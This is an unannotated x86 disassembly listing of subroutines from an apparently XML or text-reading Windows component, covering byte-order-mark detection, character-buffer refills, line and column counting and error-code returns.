sub_69B35F5B proc near ; CODE XREF: sub_69B2132A+59p
; sub_69B347D3+147p ...
push esi
mov esi, ecx
mov eax, [esi+8]
cmp eax, [esi+4Ch]
jle short loc_69B35F6F
call sub_69B35D46
test eax, eax
jl short loc_69B35F75
loc_69B35F6F: ; CODE XREF: sub_69B35F5B+9j
mov byte ptr [esi+36h], 1
xor eax, eax
loc_69B35F75: ; CODE XREF: sub_69B35F5B+12j
pop esi
retn
sub_69B35F5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B35F77 proc near ; CODE XREF: sub_69B35FE4+57p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
call sub_69B35D46
test eax, eax
jl short loc_69B35FE1
mov ecx, [esi]
test ecx, ecx
jz short loc_69B35FDC
mov eax, [esi+10h]
sub eax, [esi+18h]
and [ebp+var_4], 0
mov edx, [ecx]
push ebx
dec eax
lea ebx, [ebp+var_4]
push ebx
mov ebx, [esi+4]
add eax, eax
push eax
mov eax, [esi+18h]
lea eax, [ebx+eax*2]
push eax
push ecx
call dword ptr [edx+0Ch]
mov ecx, [ebp+var_4]
mov edx, [esi+4]
shr ecx, 1
add [esi+18h], ecx
mov ecx, [esi+18h]
and word ptr [edx+ecx*2], 0
test eax, eax
pop ebx
jl short loc_69B35FE1
cmp [ebp+var_4], 0
jnz short loc_69B35FD8
inc dword ptr [esi+8]
inc dword ptr [esi+0Ch]
mov byte ptr [esi+34h], 1
loc_69B35FD8: ; CODE XREF: sub_69B35F77+55j
xor eax, eax
jmp short loc_69B35FE1
; ---------------------------------------------------------------------------
loc_69B35FDC: ; CODE XREF: sub_69B35F77+14j
mov eax, 8000000Ah
loc_69B35FE1: ; CODE XREF: sub_69B35F77+Ej
; sub_69B35F77+4Fj ...
pop esi
leave
retn
sub_69B35F77 endp
; =============== S U B R O U T I N E =======================================
sub_69B35FE4 proc near ; CODE XREF: sub_69B2132A+40p
; sub_69B2132A+10Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, ecx
push edi
mov edi, [esi+18h]
cmp [esi+8], edi
jl short loc_69B36055
xor ebx, ebx
cmp [esi+34h], bl
jnz short loc_69B36049
cmp [esi+35h], bl
jnz short loc_69B36039
cmp edi, ebx
jle short loc_69B36039
cmp [esi+36h], bl
mov byte ptr [esi+35h], 1
jz short loc_69B3600E
xor eax, eax
jmp short loc_69B36015
; ---------------------------------------------------------------------------
loc_69B3600E: ; CODE XREF: sub_69B35FE4+24j
mov ecx, esi
call sub_69B35CC9
loc_69B36015: ; CODE XREF: sub_69B35FE4+28j
mov ecx, [esi+10h]
sub ecx, edi
add ecx, eax
xor eax, eax
cmp ecx, 1001h
mov ecx, [esi+54h]
setl al
add eax, 0C00CE600h
push eax
call sub_69B31EE5
cmp eax, ebx
jl short loc_69B360B4
loc_69B36039: ; CODE XREF: sub_69B35FE4+17j
; sub_69B35FE4+1Bj
mov ecx, esi
call sub_69B35F77
cmp eax, ebx
jl short loc_69B360B4
cmp [esi+34h], bl
jz short loc_69B36052
loc_69B36049: ; CODE XREF: sub_69B35FE4+12j
mov eax, [esp+0Ch+arg_4]
mov byte ptr [eax], 1
jmp short loc_69B360B2
; ---------------------------------------------------------------------------
loc_69B36052: ; CODE XREF: sub_69B35FE4+63j
mov [esi+35h], bl
loc_69B36055: ; CODE XREF: sub_69B35FE4+Bj
mov eax, [esi+8]
mov ecx, [esi+4]
mov dx, [ecx+eax*2]
movzx ecx, dx
inc eax
cmp ecx, 9
mov [esi+8], eax
jz short loc_69B360A8
cmp ecx, 0Ah
jz short loc_69B36091
cmp ecx, 0Dh
jz short loc_69B36091
cmp ecx, 20h
jz short loc_69B360A8
cmp ecx, 0FFFDh
jle short loc_69B360AB
cmp ecx, 0FFFFh
jg short loc_69B360AB
mov eax, 0C00CE508h
jmp short loc_69B360B4
; ---------------------------------------------------------------------------
loc_69B36091: ; CODE XREF: sub_69B35FE4+8Aj
; sub_69B35FE4+8Fj
cmp dx, 0Dh
jz short loc_69B3609E
cmp word ptr [esi+1Ch], 0Dh
jz short loc_69B360A1
loc_69B3609E: ; CODE XREF: sub_69B35FE4+B1j
inc dword ptr [esi+20h]
loc_69B360A1: ; CODE XREF: sub_69B35FE4+B8j
mov [esi+24h], eax
mov [esi+1Ch], dx
loc_69B360A8: ; CODE XREF: sub_69B35FE4+85j
; sub_69B35FE4+94j
mov [esi+48h], eax
loc_69B360AB: ; CODE XREF: sub_69B35FE4+9Cj
; sub_69B35FE4+A4j
mov eax, [esp+0Ch+arg_0]
mov [eax], dx
loc_69B360B2: ; CODE XREF: sub_69B35FE4+6Cj
xor eax, eax
loc_69B360B4: ; CODE XREF: sub_69B35FE4+53j
; sub_69B35FE4+5Ej ...
pop edi
pop esi
pop ebx
retn 8
sub_69B35FE4 endp
; =============== S U B R O U T I N E =======================================
sub_69B360BA proc near ; CODE XREF: sub_69B3649E+6Dp
; sub_69B3660F+DDp
arg_0 = byte ptr 4
push ebx
push esi
mov esi, ecx
mov edx, [esi+28h]
push edi
xor ebx, ebx
xor edi, edi
cmp edx, 2
jnb short loc_69B36118
cmp [esp+0Ch+arg_0], 0
jnz loc_69B361F4
loc_69B360D6: ; CODE XREF: sub_69B360BA+84j
cmp [esi+14h], ebx
jnz short loc_69B360F4
push ebx
push ebx
push 5
push offset aUtf8 ; "UTF-8"
call sub_69B37036
cmp eax, ebx
mov [esi+14h], eax
jz loc_69B361A3
loc_69B360F4: ; CODE XREF: sub_69B360BA+1Fj
cmp edi, 0EFBBh
jnz loc_69B3619C
push 3
pop eax
cmp [esi+28h], eax
jnb short loc_69B36154
cmp [esp+0Ch+arg_0], 0
jz loc_69B3619C
jmp loc_69B361F4
; ---------------------------------------------------------------------------
loc_69B36118: ; CODE XREF: sub_69B360BA+Fj
mov eax, [esi+1Ch]
movzx edi, byte ptr [eax]
movzx ecx, byte ptr [eax+1]
shl edi, 8
add edi, ecx
cmp edi, 0FEFFh
mov ecx, 0FFFEh
jz short loc_69B36169
cmp edi, ecx
jz short loc_69B36169
cmp edi, 2B41h
jnz short loc_69B360D6
push ebx
push ebx
push 5
push off_69B9843C
call sub_69B37036
mov [esi+14h], eax
jmp short loc_69B3619C
; ---------------------------------------------------------------------------
loc_69B36154: ; CODE XREF: sub_69B360BA+4Cj
mov ecx, [esi+1Ch]
cmp byte ptr [ecx+2], 0BFh
jnz short loc_69B3619C
mov ecx, [esi+14h]
mov byte ptr [ecx+9], 1
mov [esi+24h], eax
jmp short loc_69B3619C
; ---------------------------------------------------------------------------
loc_69B36169: ; CODE XREF: sub_69B360BA+78j
; sub_69B360BA+7Cj
push 4
pop ebx
cmp edx, ebx
jnb short loc_69B361AA
cmp [esp+0Ch+arg_0], 0
jnz short loc_69B361F4
loc_69B36177: ; CODE XREF: sub_69B360BA+FFj
cmp dword ptr [esi+14h], 0
jnz short loc_69B36195
cmp edi, ecx
setz al
push 1
push eax
push 5
push off_69B98438
call sub_69B37036
mov [esi+14h], eax
loc_69B36195: ; CODE XREF: sub_69B360BA+C1j
mov dword ptr [esi+24h], 2
loc_69B3619C: ; CODE XREF: sub_69B360BA+40j
; sub_69B360BA+53j ...
mov eax, [esi+14h]
test eax, eax
jnz short loc_69B361DE
loc_69B361A3: ; CODE XREF: sub_69B360BA+34j
mov eax, 8007000Eh
jmp short loc_69B361F6
; ---------------------------------------------------------------------------
loc_69B361AA: ; CODE XREF: sub_69B360BA+B4j
movzx edx, byte ptr [eax+2]
movzx eax, byte ptr [eax+3]
shl edx, 8
add edx, eax
cmp edi, edx
jnz short loc_69B36177
cmp dword ptr [esi+14h], 0
jnz short loc_69B361D9
cmp edi, ecx
setz al
push 1
push eax
push 5
push off_69B98434
call sub_69B37036
mov [esi+14h], eax
loc_69B361D9: ; CODE XREF: sub_69B360BA+105j
mov [esi+24h], ebx
jmp short loc_69B3619C
; ---------------------------------------------------------------------------
loc_69B361DE: ; CODE XREF: sub_69B360BA+E7j
lea ecx, [esi+38h]
push ecx
lea ecx, [esi+30h]
push ecx
add esi, 10h
push esi
push eax
call sub_69B371A8
test eax, eax
jl short loc_69B361F6
loc_69B361F4: ; CODE XREF: sub_69B360BA+16j
; sub_69B360BA+59j ...
xor eax, eax
loc_69B361F6: ; CODE XREF: sub_69B360BA+EEj
; sub_69B360BA+138j
pop edi
pop esi
pop ebx
retn 4
sub_69B360BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B361FC proc near ; CODE XREF: sub_69B35CF6+14p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
cmp byte ptr [esi+19h], 0
jz short loc_69B36211
xor eax, eax
jmp loc_69B36303
; ---------------------------------------------------------------------------
loc_69B36211: ; CODE XREF: sub_69B361FC+Cj
push edi
mov edi, [ebp+arg_4]
sub edi, [esi+2Ch]
js loc_69B362F0
cmp edi, [esi+24h]
ja loc_69B362F0
mov ebx, [ebp+arg_0]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+arg_0]
push eax
push ebx
call sub_69B371A8
test eax, eax
jz short loc_69B36251
test ebx, ebx
jz loc_69B362FD
mov eax, [ebx]
mov ecx, ebx
jmp loc_69B362F9
; ---------------------------------------------------------------------------
loc_69B36251: ; CODE XREF: sub_69B361FC+42j
mov ecx, [esi+10h]
mov edx, [ebp+arg_0]
cmp ecx, edx
jnz short loc_69B3626E
test ebx, ebx
jz short loc_69B36267
mov eax, [ebx]
push 1
mov ecx, ebx
call dword ptr [eax]
loc_69B36267: ; CODE XREF: sub_69B361FC+61j
xor eax, eax
jmp loc_69B36302
; ---------------------------------------------------------------------------
loc_69B3626E: ; CODE XREF: sub_69B361FC+5Dj
mov eax, 4B0h
cmp ecx, eax
jz short loc_69B3627F
cmp edx, eax
jz short loc_69B362AE
cmp ecx, eax
jnz short loc_69B36283
loc_69B3627F: ; CODE XREF: sub_69B361FC+79j
cmp edx, eax
jnz short loc_69B362AE
loc_69B36283: ; CODE XREF: sub_69B361FC+81j
mov eax, 2EE0h
cmp ecx, eax
jz short loc_69B36294
cmp edx, eax
jz short loc_69B362AE
cmp ecx, eax
jnz short loc_69B36298
loc_69B36294: ; CODE XREF: sub_69B361FC+8Ej
cmp edx, eax
jnz short loc_69B362AE
loc_69B36298: ; CODE XREF: sub_69B361FC+96j
mov eax, 0FDE9h
cmp ecx, eax
jnz short loc_69B362C1
cmp edx, eax
jz short loc_69B362C1
mov eax, [esi+14h]
cmp byte ptr [eax+9], 0
jz short loc_69B362C1
loc_69B362AE: ; CODE XREF: sub_69B361FC+7Dj
; sub_69B361FC+85j ...
test ebx, ebx
jz short loc_69B362BA
mov eax, [ebx]
push 1
mov ecx, ebx
call dword ptr [eax]
loc_69B362BA: ; CODE XREF: sub_69B361FC+B4j
mov eax, 80004005h
jmp short loc_69B36302
; ---------------------------------------------------------------------------
loc_69B362C1: ; CODE XREF: sub_69B361FC+A3j
; sub_69B361FC+A7j ...
mov ecx, [esi+14h]
test ecx, ecx
jz short loc_69B362D1
mov eax, [ecx]
push 1
call dword ptr [eax]
mov edx, [ebp+arg_0]
loc_69B362D1: ; CODE XREF: sub_69B361FC+CAj
mov eax, [ebp+arg_4]
mov [esi+38h], eax
mov eax, [ebp+var_4]
mov [esi+30h], eax
xor eax, eax
cmp [esi+24h], edi
mov [esi+14h], ebx
mov [esi+10h], edx
jz short loc_69B36302
mov [esi+24h], edi
inc eax
jmp short loc_69B36302
; ---------------------------------------------------------------------------
loc_69B362F0: ; CODE XREF: sub_69B361FC+1Cj
; sub_69B361FC+25j
mov ecx, [ebp+arg_0]
test ecx, ecx
jz short loc_69B362FD
mov eax, [ecx]
loc_69B362F9: ; CODE XREF: sub_69B361FC+50j
push 1
call dword ptr [eax]
loc_69B362FD: ; CODE XREF: sub_69B361FC+46j
; sub_69B361FC+F9j
mov eax, 80070057h
loc_69B36302: ; CODE XREF: sub_69B361FC+6Dj
; sub_69B361FC+C3j ...
pop edi
loc_69B36303: ; CODE XREF: sub_69B361FC+10j
pop esi
pop ebx
leave
retn 8
sub_69B361FC endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B36309(LPCWSTR lpStr1, int)
sub_69B36309 proc near ; CODE XREF: sub_69B380C2+21p
lpStr1 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_4], 8
push esi
mov esi, ecx
jnz short loc_69B36330
push 8 ; nChar
push lpStr2 ; lpStr2
push [esp+0Ch+lpStr1] ; lpStr1
call ds:StrCmpNIW ; StrCmpNIW
neg eax
sbb al, al
inc al
mov [esi+18h], al
jmp short loc_69B36334
; ---------------------------------------------------------------------------
loc_69B36330: ; CODE XREF: sub_69B36309+8j
mov byte ptr [esi+18h], 0
loc_69B36334: ; CODE XREF: sub_69B36309+25j
pop esi
retn 8
sub_69B36309 endp
; =============== S U B R O U T I N E =======================================
sub_69B36338 proc near ; CODE XREF: sub_69B380EB+21p
; sub_69B7BA94+E4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
mov ecx, [esi+14h]
test ecx, ecx
jz short loc_69B36348
mov eax, [ecx]
push 1
call dword ptr [eax]
loc_69B36348: ; CODE XREF: sub_69B36338+8j
push 1
push 1
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_69B37036
mov [esi+14h], eax
mov byte ptr [esi+19h], 1
pop esi
retn 8
sub_69B36338 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B36364 proc near ; DATA XREF: .text:69B122B8o
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
cmp dword ptr [esi+34h], 0
jnz short loc_69B3637C
mov eax, 80004005h
jmp loc_69B36407
; ---------------------------------------------------------------------------
loc_69B3637C: ; CODE XREF: sub_69B36364+Cj
xor edx, edx
mov eax, 2000h
div dword ptr [esi+38h]
mov ecx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push edi
mov edi, ecx
shr edi, 1
test edi, edi
mov [ebp+arg_4], eax
jz short loc_69B363F0
loc_69B36399: ; CODE XREF: sub_69B36364+87j
cmp eax, edi
jbe short loc_69B363A0
mov [ebp+arg_4], edi
loc_69B363A0: ; CODE XREF: sub_69B36364+37j
lea eax, [ebp+arg_0]
push eax
push dword ptr [esi+1Ch]
lea eax, [ebp+arg_4]
push eax
push ebx
push dword ptr [esi+10h]
lea eax, [esi+44h]
push eax
mov [ebp+arg_0], 2000h
call dword ptr [esi+34h]
test eax, eax
jl short loc_69B36405
cmp eax, 1
jz short loc_69B3640C
cmp [ebp+arg_0], 0
jz short loc_69B363ED
mov eax, [esi+3Ch]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push [ebp+arg_0]
push dword ptr [esi+1Ch]
push eax
call dword ptr [ecx+10h]
test eax, eax
jl short loc_69B36405
mov eax, [ebp+arg_4]
sub edi, eax
lea ebx, [ebx+eax*2]
jnz short loc_69B36399
loc_69B363ED: ; CODE XREF: sub_69B36364+66j
mov ecx, [ebp+arg_8]
loc_69B363F0: ; CODE XREF: sub_69B36364+33j
mov eax, [ebp+arg_C]
test eax, eax
jz short loc_69B363FE
lea edx, [edi+edi]
sub ecx, edx
mov [eax], ecx
loc_69B363FE: ; CODE XREF: sub_69B36364+91j
xor eax, eax
test edi, edi
setnz al
loc_69B36405: ; CODE XREF: sub_69B36364+5Bj
; sub_69B36364+7Dj ...
pop edi
pop ebx
loc_69B36407: ; CODE XREF: sub_69B36364+13j
pop esi
leave
retn 10h
; ---------------------------------------------------------------------------
loc_69B3640C: ; CODE XREF: sub_69B36364+60j
mov eax, 8000FFFFh
jmp short loc_69B36405
sub_69B36364 endp
; =============== S U B R O U T I N E =======================================
sub_69B36413 proc near ; CODE XREF: sub_69B3649E+27p
; sub_69B36515+Bp ...
arg_0 = dword ptr 4
push ebx
mov ebx, ecx
mov eax, [ebx+24h]
sub [ebx+28h], eax
mov edx, [ebx+28h]
push ebp
mov ebp, [esp+8+arg_0]
cmp [ebx+20h], ebp
jnb short loc_69B36475
push ebp
call sub_69B11E44
test eax, eax
mov [esp+8+arg_0], eax
jnz short loc_69B3643E
mov eax, 8007000Eh
jmp short loc_69B36499
; ---------------------------------------------------------------------------
loc_69B3643E: ; CODE XREF: sub_69B36413+22j
mov edx, [ebx+1Ch]
test edx, edx
jz short loc_69B3646D
mov ecx, [ebx+28h]
push esi
mov esi, [ebx+24h]
push edi
mov edi, eax
mov eax, ecx
shr ecx, 2
add esi, edx
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push dword ptr [ebx+1Ch]
call sub_69B1B2B7
mov eax, [esp+10h+arg_0]
pop edi
pop esi
loc_69B3646D: ; CODE XREF: sub_69B36413+30j
mov [ebx+1Ch], eax
mov [ebx+20h], ebp
jmp short loc_69B3648D
; ---------------------------------------------------------------------------
loc_69B36475: ; CODE XREF: sub_69B36413+14j
test eax, eax
jbe short loc_69B3648D
test edx, edx
jbe short loc_69B3648D
mov ecx, [ebx+1Ch]
push edx
add eax, ecx
push eax
push ecx
call sub_69B22103
add esp, 0Ch
loc_69B3648D: ; CODE XREF: sub_69B36413+60j
; sub_69B36413+64j ...
mov eax, [ebx+24h]
add [ebx+2Ch], eax
and dword ptr [ebx+24h], 0
xor eax, eax
loc_69B36499: ; CODE XREF: sub_69B36413+29j
pop ebp
pop ebx
retn 4
sub_69B36413 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3649E proc near ; CODE XREF: sub_69B35EC2+43p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
push ebx
setnz al
mov ebx, ecx
mov [ebx+41h], al
mov eax, [ebx+28h]
sub eax, [ebx+24h]
mov ecx, 2000h
add eax, [ebp+arg_4]
cmp eax, ecx
jnb short loc_69B364C2
mov eax, ecx
loc_69B364C2: ; CODE XREF: sub_69B3649E+20j
push eax
mov ecx, ebx
call sub_69B36413
test eax, eax
jl short loc_69B36510
cmp [ebp+arg_4], 0
jbe short loc_69B364FB
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_69B364FA
mov ecx, [ebp+arg_4]
push edi
mov edi, [ebx+1Ch]
add edi, [ebx+28h]
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, edx
add [ebx+28h], ecx
pop edi
loc_69B364FA: ; CODE XREF: sub_69B3649E+3Cj
pop esi
loc_69B364FB: ; CODE XREF: sub_69B3649E+34j
cmp dword ptr [ebx+30h], 0
jnz short loc_69B36510
cmp [ebp+arg_8], 0
mov ecx, ebx
setz al
push eax
call sub_69B360BA
loc_69B36510: ; CODE XREF: sub_69B3649E+2Ej
; sub_69B3649E+61j
pop ebx
pop ebp
retn 0Ch
sub_69B3649E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B36515 proc near ; CODE XREF: sub_69B383A8+37p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push ebx
mov esi, ecx
call sub_69B36413
cmp eax, ebx
jl short loc_69B36599
cmp [esi+42h], bl
jz short loc_69B36533
xor eax, eax
inc eax
jmp short loc_69B36599
; ---------------------------------------------------------------------------
loc_69B36533: ; CODE XREF: sub_69B36515+17j
cmp eax, ebx
push edi
mov [ebp+var_4], 1
jnz short loc_69B3658A
mov edi, 1000h
loc_69B36544: ; CODE XREF: sub_69B36515+71j
cmp [ebp+var_4], ebx
jbe short loc_69B36588
mov ecx, [esi+28h]
mov eax, [esi+20h]
add ecx, edi
cmp ecx, eax
jbe short loc_69B3655A
add eax, 1000h
loc_69B3655A: ; CODE XREF: sub_69B36515+3Ej
push eax
mov ecx, esi
call sub_69B36413
cmp eax, ebx
jl short loc_69B36598
mov eax, [esi+3Ch]
lea edx, [ebp+var_4]
push edx
mov edx, [esi+1Ch]
add edx, [esi+28h]
push edi
push edx
mov [ebp+var_4], ebx
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
mov ecx, [ebp+var_4]
add [esi+28h], ecx
cmp eax, ebx
jz short loc_69B36544
loc_69B36588: ; CODE XREF: sub_69B36515+32j
cmp eax, ebx
loc_69B3658A: ; CODE XREF: sub_69B36515+28j
jl short loc_69B36598
cmp [ebp+var_4], ebx
jnz short loc_69B36598
xor eax, eax
mov byte ptr [esi+42h], 1
inc eax
loc_69B36598: ; CODE XREF: sub_69B36515+4Fj
; sub_69B36515:loc_69B3658Aj ...
pop edi
loc_69B36599: ; CODE XREF: sub_69B36515+12j
; sub_69B36515+1Cj
pop esi
pop ebx
leave
retn
sub_69B36515 endp
; =============== S U B R O U T I N E =======================================
sub_69B3659D proc near ; CODE XREF: sub_69B367F2+3p
push esi
mov esi, ecx
mov dword ptr [esi-4], offset off_69B122A8
mov dword ptr [esi], offset off_69B27190
call sub_69B2C65C
mov eax, [esi+18h]
test eax, eax
jz short loc_69B365BF
push eax
call sub_69B1B2B7
loc_69B365BF: ; CODE XREF: sub_69B3659D+1Aj
mov ecx, [esi+10h]
test ecx, ecx
jz short loc_69B365CC
mov eax, [ecx]
push 1
call dword ptr [eax]
loc_69B365CC: ; CODE XREF: sub_69B3659D+27j
push 0
add esi, 38h
push esi
call sub_69B17320
push esi
call sub_69B17230
pop esi
jmp sub_69B2C65C
sub_69B3659D endp
; =============== S U B R O U T I N E =======================================
sub_69B365E3 proc near ; DATA XREF: .text:69B122BCo
; .text:69B122F4o ...
mov eax, 80004001h
retn 14h
sub_69B365E3 endp
; =============== S U B R O U T I N E =======================================
sub_69B365EB proc near ; DATA XREF: .text:69B122C4o
; .text:69B122D0o ...
mov eax, 80004001h
retn 18h
sub_69B365EB endp
; =============== S U B R O U T I N E =======================================
sub_69B365F3 proc near ; DATA XREF: .text:69B122CCo
; .text:69B12304o ...
mov eax, 80004001h
retn 4
sub_69B365F3 endp
; =============== S U B R O U T I N E =======================================
sub_69B365FB proc near ; DATA XREF: .text:69B122C8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+3Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+20h]
retn 8
sub_69B365FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3660F proc near ; DATA XREF: .text:69B122B4o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_C]
push ebx
xor ebx, ebx
cmp eax, ebx
push esi
mov byte ptr [ebp+var_8], bl
mov [ebp+var_4], ebx
jz short loc_69B36627
mov [eax], ebx
loc_69B36627: ; CODE XREF: sub_69B3660F+14j
mov esi, [ebp+arg_0]
cmp [esi+28h], ebx
jnz short loc_69B3663B
cmp [esi+42h], bl
jz short loc_69B3663B
xor eax, eax
jmp loc_69B36774
; ---------------------------------------------------------------------------
loc_69B3663B: ; CODE XREF: sub_69B3660F+1Ej
; sub_69B3660F+23j
push edi
mov edi, [ebp+arg_8]
shr edi, 1
push edi
mov ecx, esi
call sub_69B36413
cmp eax, ebx
jl loc_69B36773
mov eax, [esi+3Ch]
cmp eax, ebx
jz short loc_69B366AE
cmp [esi+43h], bl
jz short loc_69B366AE
mov ecx, [esi+28h]
cmp edi, ecx
jbe short loc_69B366CB
mov edx, [eax]
lea ebx, [ebp+var_4]
push ebx
mov ebx, edi
sub ebx, ecx
push ebx
mov ebx, [esi+1Ch]
add ebx, ecx
push ebx
push eax
call dword ptr [edx+0Ch]
xor ebx, ebx
cmp eax, 8000000Ah
jnz short loc_69B36691
cmp [ebp+var_4], ebx
jbe loc_69B36773
xor eax, eax
mov byte ptr [ebp+var_8], 1
loc_69B36691: ; CODE XREF: sub_69B3660F+71j
cmp eax, ebx
jl loc_69B36773
mov ecx, [esi+28h]
cmp ecx, ebx
jnz short loc_69B366CB
cmp [ebp+var_4], ebx
jnz short loc_69B366CB
mov byte ptr [esi+42h], 1
jmp loc_69B36773
; ---------------------------------------------------------------------------
loc_69B366AE: ; CODE XREF: sub_69B3660F+47j
; sub_69B3660F+4Cj
mov ecx, [esi+28h]
cmp ecx, ebx
jnz short loc_69B366CB
loc_69B366B5: ; CODE XREF: sub_69B3660F+EBj
; sub_69B3660F+F3j
mov al, [esi+41h]
neg al
sbb eax, eax
and eax, 7FFFFFF7h
add eax, 8000000Ah
jmp loc_69B36773
; ---------------------------------------------------------------------------
loc_69B366CB: ; CODE XREF: sub_69B3660F+53j
; sub_69B3660F+8Fj ...
mov eax, [ebp+var_4]
add eax, ecx
cmp eax, edi
mov [esi+28h], eax
mov [ebp+arg_0], eax
mov [ebp+arg_8], edi
jbe short loc_69B366E0
mov [ebp+arg_0], edi
loc_69B366E0: ; CODE XREF: sub_69B3660F+CCj
mov ecx, [esi+30h]
cmp ecx, ebx
jnz short loc_69B3670A
push [ebp+var_8]
mov ecx, esi
call sub_69B360BA
cmp eax, ebx
jl short loc_69B36773
mov ecx, [esi+30h]
cmp ecx, ebx
jz short loc_69B366B5
mov eax, [esi+24h]
cmp eax, [ebp+arg_0]
jz short loc_69B366B5
sub [ebp+arg_0], eax
sub [esi+2Ch], eax
loc_69B3670A: ; CODE XREF: sub_69B3660F+D6j
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_0]
push eax
mov eax, [esi+1Ch]
add eax, [esi+24h]
push eax
push dword ptr [esi+10h]
lea eax, [esi+44h]
push eax
call ecx
cmp eax, ebx
jnz short loc_69B36773
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jnz short loc_69B36746
cmp byte ptr [ebp+var_8], bl
jnz short loc_69B36746
cmp [esi+3Ch], ebx
jnz short loc_69B3673F
cmp [esi+41h], bl
jz short loc_69B36746
loc_69B3673F: ; CODE XREF: sub_69B3660F+129j
mov eax, 0C00CE514h
jmp short loc_69B36773
; ---------------------------------------------------------------------------
loc_69B36746: ; CODE XREF: sub_69B3660F+11Fj
; sub_69B3660F+124j ...
mov edx, [ebp+arg_C]
add [esi+24h], ecx
cmp edx, ebx
mov eax, [ebp+arg_8]
jz short loc_69B36758
lea esi, [eax+eax]
mov [edx], esi
loc_69B36758: ; CODE XREF: sub_69B3660F+142j
cmp eax, ebx
jnz short loc_69B36771
cmp byte ptr [ebp+var_8], bl
jnz short loc_69B3676A
cmp ecx, ebx
jz short loc_69B3676A
xor eax, eax
inc eax
jmp short loc_69B36773
; ---------------------------------------------------------------------------
loc_69B3676A: ; CODE XREF: sub_69B3660F+150j
; sub_69B3660F+154j
mov eax, 8000000Ah
jmp short loc_69B36773
; ---------------------------------------------------------------------------
loc_69B36771: ; CODE XREF: sub_69B3660F+14Bj
xor eax, eax
loc_69B36773: ; CODE XREF: sub_69B3660F+3Cj
; sub_69B3660F+76j ...
pop edi
loc_69B36774: ; CODE XREF: sub_69B3660F+27j
pop esi
pop ebx
leave
retn 10h
sub_69B3660F endp
; =============== S U B R O U T I N E =======================================
sub_69B3677A proc near ; CODE XREF: sub_69B36793+4p
; sub_69B38858-A0p ...
push esi
mov esi, ecx
push offset dword_69B2AFF0
lea ecx, [esi+4]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B3677A endp
; =============== S U B R O U T I N E =======================================
sub_69B36793 proc near ; CODE XREF: sub_69B36811+11p
; sub_69B3683A+23p
arg_0 = dword ptr 4
push ebx
push esi
mov esi, ecx
call sub_69B3677A
push [esp+8+arg_0]
xor ebx, ebx
lea ecx, [esi+3Ch]
mov dword ptr [esi], offset off_69B122A8
mov dword ptr [esi+4], offset off_69B27190
mov [esi+14h], ebx
mov [esi+1Ch], ebx
call sub_69B1E084
call sub_69B1E031
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+30h], ebx
mov [esi+34h], ebx
mov [esi+2Ch], ebx
mov [esi+24h], ebx
mov [esi+28h], ebx
mov [esi+41h], bl
mov [esi+20h], ebx
mov [esi+42h], bl
mov [esi+18h], bl
mov [esi+19h], bl
mov [esi+44h], ebx
mov byte ptr [esi+43h], 1
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B36793 endp
; =============== S U B R O U T I N E =======================================
sub_69B367F2 proc near ; DATA XREF: .text:off_69B27190o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B3659D
test [esp+4+arg_0], 1
jz short loc_69B3680A
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B3680A: ; CODE XREF: sub_69B367F2+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B367F2 endp
; =============== S U B R O U T I N E =======================================
sub_69B36811 proc near ; CODE XREF: sub_69B35EC2+16p
; sub_69B3845F+8p ...
arg_0 = dword ptr 4
push 48h
call sub_69B11E44
test eax, eax
jz short loc_69B36829
push [esp+arg_0]
mov ecx, eax
call sub_69B36793
jmp short loc_69B3682B
; ---------------------------------------------------------------------------
loc_69B36829: ; CODE XREF: sub_69B36811+9j
xor eax, eax
loc_69B3682B: ; CODE XREF: sub_69B36811+16j
test eax, eax
jz short locret_69B36837
and dword ptr [eax+1Ch], 0
mov byte ptr [eax+40h], 1
locret_69B36837: ; CODE XREF: sub_69B36811+1Cj
retn 4
sub_69B36811 endp
